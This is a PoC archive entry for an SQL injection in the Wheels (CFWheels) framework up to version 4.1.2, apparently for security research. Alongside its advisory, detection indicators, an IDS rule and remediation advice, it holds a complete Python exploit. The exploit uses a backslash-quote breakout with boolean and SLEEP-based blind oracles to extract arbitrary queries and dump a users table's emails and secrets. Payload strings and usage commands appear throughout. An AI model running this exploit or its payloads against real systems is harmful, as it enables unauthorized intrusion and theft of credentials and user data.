PoC Archive PoC Archive
CVE-2026-111444 / GHSA-mvr9-2h5x-w6cq category: web CVSS 9.8 (CRITICAL)
Patched

Wheels (CFWheels) ≤ 4.1.2 — SQL Injection via Backslash-Escape Breakout (CVE-2026-111444)

Published: 2026-11-25 • Researcher: Syscallh00k (repo owner); [L] Labubus (exploit author per script header; repo README states the script was generated by AI); Wheels Dev Team (advisory GHSA-mvr9-2h5x-w6cq)

Target software Wheels (CFWheels) — ColdFusion/CFML MVC framework
Affected versions ≤ 4.1.2 per the GHSA advisory (patched in 4.2.0); NVD enumerates no CPE product ranges for this CVE — See references
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-111444 / GHSA-mvr9-2h5x-w6cq
Category
web
Affected product
Wheels (CFWheels) — ColdFusion/CFML MVC framework
Affected versions
≤ 4.1.2 per the GHSA advisory (patched in 4.2.0); NVD enumerates no CPE product ranges for this CVE — See references
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-15
Author / ResearcherSyscallh00k (repo owner); [L] Labubus (exploit author per script header; repo README states the script was generated by AI); Wheels Dev Team (advisory GHSA-mvr9-2h5x-w6cq)
CVE / AdvisoryCVE-2026-111444 / GHSA-mvr9-2h5x-w6cq
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
TagsSQLi, Wheels, CFWheels, ColdFusion, Lucee, MySQL, MariaDB, backslash-escape, blind-sqli, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemWheels (CFWheels) — ColdFusion/CFML MVC framework
Versions Affected≤ 4.1.2 per the GHSA advisory (patched in 4.2.0); NVD enumerates no CPE product ranges for this CVE — See references
Language / PlatformCFML on Lucee or Adobe ColdFusion; MySQL/MariaDB backend with default sql_mode (NO_BACKSLASH_ESCAPES not set)
Authentication RequiredNo (the injection itself needs no session, but the affected app endpoint must accept the parameter)
Network Access RequiredYes

Summary

Wheels through 4.1.2 writes some SQL values into the query as inline quoted literals instead of binding them, and escapes only single quotes. On MySQL or MariaDB with the default SQL mode, a backslash is an escape character inside a string literal, so a value ending in a backslash and quote breaks out of the literal and the remainder is parsed as SQL. The affected paths are opt-in queries run with parameterize set to false (including IN lists) and literals inside developer-written where strings that the WHERE parser does not bind, such as BETWEEN bounds, function arguments, and LIKE ESCAPE literals. An attacker who controls request data that reaches one of those paths can alter the query and read or modify data the application did not intend to expose; bound paths are unaffected and whereBetween is bound from 4.1.2.

Vulnerability Details

Root Cause

Wheels builds SQL text by hand in a few code paths and quotes values with single-quote doubling only (' → ''). That is safe only when the database treats the quote as the sole escape mechanism. With MySQL/MariaDB default sql_mode, the parser also honours backslash escapes inside string literals, so the sequence \' is consumed as an escaped quote by the database even though Wheels has already doubled the quote. The literal therefore closes early and the rest of the attacker value becomes SQL syntax. The vulnerable paths are: Base.cfc $executeQuery when parameterize is false (every value inlined through $quoteValue(str, sqlType), including IN-list handling), and literal positions the WHERE parser leaves unbound — BETWEEN ... AND ... bounds, function arguments, and LIKE ... ESCAPE '...' literals. Bound parameters and whereBetween() (bound since 4.1.2) do not have the flaw.

Attack Vector

The attacker supplies a value such as \' OR (1=1) -- to any application request parameter that the app passes into an inline-literal path. Wheels rewrites it to \'' OR (1=1) -- , the database reads \' as a quoted quote, the string closes, and the OR predicate executes with the trailing quote commented out. The PoC script wraps this breakout in a boolean or time-based blind oracle (IF((predicate),SLEEP(n),0)) and binary-searches the response to extract arbitrary scalar subqueries, so no UNION or error output is needed.

Impact

Full read access to data reachable by the application’s database user: credential and secret tables, user records, and any table the DB account can select. Because the injected predicate is arbitrary SQL, integrity and availability impact is also possible where the statement allows stacked or write-capable expressions. CVSS 9.8 reflects network-reachable, unauthenticated confidentiality/integrity/availability loss; the practical scope is bounded by the privileges of the Wheels datasource.

Environment / Lab Setup

Output
OS:          Linux (any distro with Python 3.8+) — upstream script header says
             "Tested on: Wheels 4.1.2 + Lucee 6 + MariaDB 11"
Target:      A Wheels ≤ 4.1.2 app with MySQL/MariaDB and default sql_mode,
             exposing a parameter that reaches an inline-literal path
Attacker:    Python 3 (requests optional — urllib fallback), curl, Burp Suite
Tools:       python3, requests (optional), docker (for a Lucee/MariaDB lab you build)

Setup Steps

Shell script
1
2
3
4
5
6
7
git clone --depth=1 https://github.com/Syscallh00k/CVE-2026-111444
cd CVE-2026-111444

python3 -m venv .venv && . .venv/bin/activate
pip install requests

python cve_2026_111444.py -u "http://app.local/search" -p q --check

Note: the script’s docstring references a lab/ tree with a vulnerable Wheels app and docker compose file, but that directory is not present in the cloned repository — the public repo ships only README.md and cve_2026_111444.py. To reproduce you must supply your own Wheels 4.1.2 app (Lucee 6 + MariaDB 11, default sql_mode) with a controller/action that feeds request data into parameterize=false, an IN list, or an unbound where= literal.

Proof of Concept

Step-by-Step Reproduction

  1. Identify a sink — find a Wheels ≤ 4.1.2 endpoint where a request parameter reaches a parameterize=false query, an IN list, a BETWEEN bound, a function argument, or a LIKE ESCAPE literal.
    Shell script
    1
    2
    
    # Example generic target; choose the parameter that hits the inline-literal path
    curl -s "http://app.local/search?q=test"
  2. Check the boolean oracle — send the breakout with a true and a false predicate and compare responses (data vs no data).
    Shell script
    1
    
    python cve_2026_111444.py -u "http://app.local/search" -p q --check
  3. Extract a scalar — once the oracle is verified, binary-search an arbitrary subquery through the injection.
    Shell script
    1
    2
    
    python cve_2026_111444.py -u "http://app.local/search" -p q \
        --query "SELECT secret FROM users LIMIT 1"
  4. Fall back to the time oracle — if the response body does not change reliably, force SLEEP-based extraction.
    Shell script
    1
    2
    
    python cve_2026_111444.py -u "http://app.local/search" -p q --time \
        --query "SELECT user()"
  5. Raw request template — when the value sits inside a larger expression (e.g. a BETWEEN high bound), supply the surrounding SQL yourself.
    Shell script
    1
    
    python cve_2026_111444.py -u "http://app.local/search" --template "email='{payload}'&x=1"

Exploit Code

See cve_2026_111444.py in this folder, and the upstream usage notes in upstream-README.md.

The core primitive is the breakout value, followed by a blind extraction loop:

Python
1
2
3
4
5
6
def breakout(predicate):
    # framework doubles quotes first; MySQL then reads \' as a quoted quote
    return "\\' OR (%s) -- " % predicate

def timewrap(predicate, seconds=2.5):
    return "IF((%s),SLEEP(%s),0)" % (predicate, seconds)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
  _       __    __  ____    ____     ___      __  __    __  __    __  __    ____
 | |     / /   / / / __ \  / __ \   / _ \    |  \/  |  |  \/  |  |  \/  |  / __ \
 ...
  Wheels <= 4.1.2 Backslash-Escape SQL Injection (MySQL/MariaDB)

[+] boolean oracle verified (data vs no data)
[+] CVE-2026-111444 confirmed: inline literal breakout is live

[+] query : SELECT user()
[*] value: app_user@localhost
[+] result: app_user@localhost

[+] users: 3
[+] 1  admin@example.com  admin  <secret-value>

Detection & Indicators of Compromise

  • Request parameters containing the literal sequence \' immediately followed by SQL keywords (OR, AND, UNION), comment markers (--, #, /*), or SLEEP(, BENCHMARK(, IF(.
  • Repeated near-identical requests differing by one comparison (ASCII(SUBSTR(...))>N) — the signature of binary-search blind extraction; high request rate to a single endpoint from one client.
  • Query strings or form bodies where the value ends in an odd number of backslashes before a quote, or contains doubled quotes combined with a backslash.
  • Database slow-query logs showing SLEEP() inside WHERE clauses, or IF((...),SLEEP(...),0) predicates attributed to the Wheels datasource account.
  • DB error logs referencing malformed quoted literals in queries generated by the Wheels ORM.
  • Wheels application logs showing parameterize=false query paths invoked from controller actions that take request data.
Output
1
2
GET /search?q=%5C%27%20OR%20(1%3D1)%20--%20 HTTP/1.1
GET /search?q=\' OR (ASCII(SUBSTR((SELECT secret FROM users),1,1))>77) --  HTTP/1.1

SIEM / IDS Rule (example):

Output
1
2
3
alert http any any -> any any (msg:"Possible CVE-2026-111444 Wheels backslash SQLi"; \
  content:"\\'"; http_uri; nocase; \
  pcre:"/(\\\\')%20?(or|and|union|sleep)/i"; sid:9011144;)

Remediation

ActionDetail
PatchUpgrade Wheels to 4.2.0 or later. The fix makes MySQLModel.$inlineStringLiteral emit any backslash-bearing value as a _utf8mb4 X'...' hex literal, which is immune to sql_mode differences.
WorkaroundIf upgrading is not possible, remove parameterize=false from application queries, pass BETWEEN bounds/function args/ESCAPE literals as bound parameters, and avoid building where= strings from request data. A WAF rule blocking \'-prefixed SQL keywords reduces exposure but is bypassable.
Config HardeningRun MySQL/MariaDB with sql_mode=NO_BACKSLASH_ESCAPES as defense in depth (note this changes escaping semantics for the whole application — test first), give the Wheels datasource a least-privilege account, log and alert on SLEEP() in queries, and monitor for blind-extraction request patterns.

References

Notes

Auto-ingested from https://github.com/Syscallh00k/CVE-2026-111444 on 2026-11-25. Review verdict: real exploit code, not a detector or scanner — the script implements the backslash breakout, a boolean oracle, a time-based SLEEP oracle, binary-search extraction of arbitrary scalar subqueries, and a users-table dump path. It is archived as a PoC rather than Weaponized because it is sink-dependent (you must point it at a vulnerable application endpoint), the bundled lab/ app referenced in its docstring is absent from the repository, and no successful run evidence is published. The upstream README states the script was generated by AI and that the repository owner is not the exploit author; the file header credits [L] Labubus. The repository has no license file, so the code is archived with attribution for authorized research only. Limitations: blind extraction is slow (binary search, one character per request set), the false-positive-prone heuristic treats any non-empty non-JSON response as data, and --template must be supplied manually for BETWEEN/ESCAPE sinks. Do not execute against systems without written authorization.

cve_2026_111444.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Syscallh00k/CVE-2026-111444 (see README for attribution/license)
#
# Exploit Title: Wheels (CFWheels) <= 4.1.2 - SQL Injection via Backslash Escape Breakout (MySQL/MariaDB)
# Date: 2026-10-16
# Exploit Author: [L] Labubus
# Vendor Homepage: https://wheels.dev
# Software Link: https://github.com/wheels-dev/wheels
# Version: Wheels <= 4.1.2 (fixed in 4.2.0)
# Tested on: Wheels 4.1.2 + Lucee 6 + MariaDB 11 (default sql_mode, NO_BACKSLASH_ESCAPES absent)
# CVE: CVE-2026-111444
# Advisory: https://github.com/wheels-dev/wheels/security/advisories/GHSA-mvr9-2h5x-w6cq
#
# Root cause
# ----------
# Wheels writes unbound values into the SQL text as quoted literals, escaping
# only single quotes (' -> '') in these paths:
#   * queries run with parameterize=false (opt-in), including its IN-list handling
#   * literals in a developer-written where= string that the WHERE parser does not
#     bind: BETWEEN ... AND ... bounds, function arguments, LIKE ... ESCAPE '...'
# On MySQL/MariaDB with the default sql_mode a backslash escapes the next char
# inside a string literal, so doubling quotes alone does not contain a value that
# ends in \' — the escaped quote closes the literal and the rest of the input
# becomes SQL.
#
#   input    : \' OR (PREDICATE) -- 
#   escaped  : \'' OR (PREDICATE) --        (' -> '')
#   literal  : '\'' OR (PREDICATE) -- '
#   parsed   : '<quote>' OR (PREDICATE) -- '   <- breakout
#
# Fixed in 4.2.0: MySQLModel.$inlineStringLiteral writes any value containing a
# backslash as a _utf8mb4 X'...' hex literal, immune to sql_mode.
#
# Usage
# -----
# Generic target (any Wheels app param that reaches an inline-literal path):
#   python cve_2026_111444.py -u "http://app.local/search" -p q --check
#   python cve_2026_111444.py -u "http://app.local/search" -p q --query "SELECT secret FROM users LIMIT 1"
#   python cve_2026_111444.py -u "http://app.local/search" -p q --time --query "SELECT user()"
#   python cve_2026_111444.py -u "http://app.local/search" -p q \
#       --template "email='{payload}' AND active=1" --post --data "x=1"
#
# Bundled lab (see lab/ for the vulnerable Wheels app + docker compose):
#   python cve_2026_111444.py --lab http://127.0.0.1:8080 --check
#   python cve_2026_111444.py --lab http://127.0.0.1:8080 --dump-users
#
# Options: --time forces SLEEP-based oracle, --proxy routes via burp, --sleep
# sets SLEEP seconds, --max-len caps extraction length.

import argparse
import json
import sys
import time
from urllib.parse import urlencode, urljoin, urlsplit, urlunsplit

try:
    import requests
    HAVE_REQUESTS = True
except ImportError:
    HAVE_REQUESTS = False
    import urllib.request

BANNER = r"""
  _       __    __  ____    ____     ___      __  __    __  __    __  __    ____
 | |     / /   / / / __ \  / __ \   / _ \    |  \/  |  |  \/  |  |  \/  |  / __ \
 | | /| / /_  / / / /_/ / / / / /  / /_\ \   | |\/| |  | |\/| |  | |\/| | / / / /
 | |/ |/ /\ \/ / / _, _/ / /_/ /  / /_/ /   | |  | |  | |  | |  | |  | |/ /_/ /
 |__/|__/  \__/ /_/ |_|  \____/  /_____/    |_|  |_|  |_|  |_|  |_|  |_|\____/
  Wheels <= 4.1.2 Backslash-Escape SQL Injection (MySQL/MariaDB)
"""


class Resp:
    def __init__(self, status_code, body):
        self.status_code = status_code
        self.text = body

    def json(self):
        return json.loads(self.text)


class Session:
    """requests if present, urllib otherwise."""

    def __init__(self, proxies=None):
        self.headers = {"User-Agent": "Mozilla/5.0 (CVE-2026-111444)"}
        self.proxies = proxies
        if HAVE_REQUESTS:
            self._s = requests.Session()
            if proxies:
                self._s.proxies.update({"http": proxies, "https": proxies})
        else:
            handlers = []
            if proxies:
                handlers.append(urllib.request.ProxyHandler({"http": proxies, "https": proxies}))
            self._opener = urllib.request.build_opener(*handlers)

    def request(self, method, url, data=None, timeout=15):
        if HAVE_REQUESTS:
            r = self._s.request(method, url, data=data, timeout=timeout)
            return Resp(r.status_code, r.text)
        body = urlencode(data).encode() if data else None
        req = urllib.request.Request(url, data=body, headers=self.headers, method=method)
        with self._opener.open(req, timeout=timeout) as r:
            return Resp(r.status, r.read().decode("utf-8", "replace"))


# -------------------------------------------------------------- payload kit
def breakout(predicate):
    """The core breakout value. Escape order: framework doubles quotes first,
    MySQL then reads \' as a quoted quote and closes the literal."""
    return "\\' OR (%s) -- " % predicate


def payload_scalar(predicate):
    return breakout(predicate)


def payload_inlist(predicate):
    """For an IN (...) list: supply a valid first element, then break out of
    the last quoted element."""
    return "1,%s" % breakout(predicate)


def payload_between(predicate, valid_low="2020-01-01"):
    """For BETWEEN 'a' AND 'b': break out of the second (high) bound. The low
    bound is also inlined, so keep it a valid literal."""
    return valid_low, breakout(predicate)


def payload_funcarg(predicate):
    return breakout(predicate)


def payload_escape(predicate):
    return breakout(predicate)


def timewrap(predicate, seconds=2.5):
    return "IF((%s),SLEEP(%s),0)" % (predicate, seconds)


# ------------------------------------------------------------------- exploit
class WheelsSQLi:
    def __init__(self, url, param=None, method="GET", data=None, template=None,
                 proxy=None, sleep_sec=2.5, max_len=512, timeout=15):
        self.url = url
        self.param = param
        self.method = method.upper()
        self.data = data or {}
        self.template = template  # optional raw template with {payload} marker
        self.session = Session(proxies=proxy)
        self.sleep_sec = sleep_sec
        self.max_len = max_len
        self.timeout = timeout
        self.mode = "bool"

    # ------------------------------------------------------------- transport
    def send(self, value):
        if self.template:
            body_value = self.template.replace("{payload}", value)
            if self.method == "GET":
                sep = "&" if "?" in self.url else "?"
                return self.session.request("GET", self.url + sep + body_value, timeout=self.timeout)
            data = dict(self.data)
            # the template is the value of the vulnerable parameter
            key = self.param or "q"
            data[key] = body_value
            return self.session.request("POST", self.url, data=data, timeout=self.timeout)

        if self.method == "GET":
            parts = urlsplit(self.url)
            query = dict(self.data)
            query[self.param] = value
            for k, v in query.items():
                query[k] = str(v)
            new_url = urlunsplit((parts.scheme, parts.netloc, parts.path,
                                  urlencode(query), parts.fragment))
            return self.session.request("GET", new_url, timeout=self.timeout)

        data = dict(self.data)
        data[self.param] = value
        return self.session.request("POST", self.url, data=data, timeout=self.timeout)

    def rows_in_response(self, resp):
        """Heuristic: does the response carry data? Empty JSON list/object or a
        redirect to an empty page counts as no data."""
        text = resp.text.strip()
        if not text:
            return False
        for empty in ("[]", "{}", "null", "false"):
            if text == empty:
                return False
        return True

    def hit(self, predicate):
        value = breakout(predicate)
        t0 = time.monotonic()
        try:
            r = self.send(value)
        except Exception as e:
            sys.exit(f"[!] request failed: {e}")
        elapsed = time.monotonic() - t0
        return self.rows_in_response(r), elapsed, r.status_code

    def oracle(self, predicate):
        cond = timewrap(predicate, self.sleep_sec) if self.mode == "time" else predicate
        has_rows, elapsed, status = self.hit(cond)
        if self.mode == "time":
            return elapsed >= self.sleep_sec * 0.9
        return has_rows

    def verify(self):
        true_rows, _, _ = self.hit("1=1")
        false_rows, _, _ = self.hit("1=0")
        if true_rows and not false_rows:
            self.mode = "bool"
            print("[+] boolean oracle verified (data vs no data)")
            return True
        self.mode = "time"
        print("[!] boolean oracle unreliable, using time-based SLEEP oracle")
        return True

    # ---------------------------------------------------------- extraction
    def extract_char(self, expr, pos):
        lo, hi = 0, 127
        while lo < hi:
            mid = (lo + hi) // 2
            if self.oracle(f"ASCII(SUBSTR(({expr}),{pos},1))>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        return lo

    def extract_value(self, expr, label="value"):
        out = []
        for pos in range(1, self.max_len + 1):
            c = self.extract_char(expr, pos)
            if c == 0:
                break
            out.append(chr(c))
            sys.stdout.write(f"\r[*] {label}: {''.join(out)}")
            sys.stdout.flush()
        sys.stdout.write("\n")
        return "".join(out)

    def extract_int(self, expr, upper=1 << 20):
        lo, hi = 0, upper
        while lo < hi:
            mid = (lo + hi) // 2
            if self.oracle(f"({expr})>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        return lo

    # ------------------------------------------------------------------ lab
    def lab_sinks(self, base):
        b = base.rstrip("/")
        return {
            "parameterize=false scalar": f"{b}/lab/sink_paramfalse?q={{payload}}",
            "parameterize=false IN list": f"{b}/lab/sink_inlist?ids={{payload}}",
            "where= BETWEEN bound":     f"{b}/lab/sink_between?from=2020-01-01&to={{payload}}",
            "where= function argument": f"{b}/lab/sink_func?q={{payload}}",
            "where= LIKE ESCAPE":       f"{b}/lab/sink_escape?esc={{payload}}",
        }


def run_lab(base, args, exp):
    sinks = exp.lab_sinks(base)
    for name, tpl in sinks.items():
        print(f"\n=== {name} ===")
        e = WheelsSQLi(url=tpl.split("?")[0], template=tpl, method="GET",
                       proxy=args.proxy, sleep_sec=args.sleep, max_len=args.max_len)
        e.verify() if not args.time else setattr(e, "mode", "time")
        secret = e.extract_value("SELECT secret FROM users WHERE id=1", label="secret")
        print(f"[+] {name} -> secret: {secret}")


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-111444 Wheels backslash-escape SQLi")
    ap.add_argument("-u", "--url", help="target url (full url incl. path for GET/POST)")
    ap.add_argument("-p", "--param", help="vulnerable parameter name")
    ap.add_argument("--template", help="full request template with {payload} marker")
    ap.add_argument("--method", choices=["GET", "POST"], default="GET")
    ap.add_argument("--data", help="extra form params as k=v&k2=v2 (POST)")
    ap.add_argument("--proxy", help="http proxy, e.g. http://127.0.0.1:8080")
    ap.add_argument("--time", action="store_true", help="force time-based oracle")
    ap.add_argument("--sleep", type=float, default=2.5, help="SLEEP seconds in time mode")
    ap.add_argument("--max-len", type=int, default=512, help="max chars extracted per value")
    ap.add_argument("--check", action="store_true", help="verify injection only")
    ap.add_argument("--query", help="raw scalar SQL to extract, e.g. SELECT user()")
    ap.add_argument("--lab", metavar="BASE_URL", help="run against the bundled lab app")
    ap.add_argument("--dump-users", action="store_true", help="lab mode: dump the users table")
    args = ap.parse_args()

    print(BANNER)

    if args.lab:
        base = args.lab
        if args.dump_users:
            e = WheelsSQLi(url=f"{base.rstrip('/')}/lab/sink_paramfalse?q={{payload}}",
                           template=f"{base.rstrip('/')}/lab/sink_paramfalse?q={{payload}}",
                           proxy=args.proxy, sleep_sec=args.sleep, max_len=args.max_len)
            e.verify()
            n = e.extract_int("SELECT COUNT(*) FROM users")
            print(f"[+] users: {n}")
            for i in range(n):
                row = e.extract_value(
                    f"SELECT CONCAT_WS(0x09,id,email,role,secret) FROM users ORDER BY id LIMIT {i},1",
                    label=f"user[{i}]")
                print(f"[+] {row}")
            return 0
        run_lab(base, args, None)
        return 0

    if not args.url:
        sys.exit("[!] need -u/--url or --lab")

    data = {}
    if args.data:
        for pair in args.data.split("&"):
            k, _, v = pair.partition("=")
            data[k] = v

    exp = WheelsSQLi(args.url, param=args.param, method=args.method, data=data,
                     template=args.template, proxy=args.proxy,
                     sleep_sec=args.sleep, max_len=args.max_len)
    if args.time:
        exp.mode = "time"
        print("[+] time-based oracle selected")
    else:
        exp.verify()

    if args.check:
        print("[+] CVE-2026-111444 confirmed: inline literal breakout is live")
        return 0

    if args.query:
        print(f"[+] query : {args.query}")
        print(f"[+] result: {exp.extract_value(args.query)}")
        return 0

    sys.exit("[!] nothing to do: pass --check, --query, or --lab")


if __name__ == "__main__":
    sys.exit(main())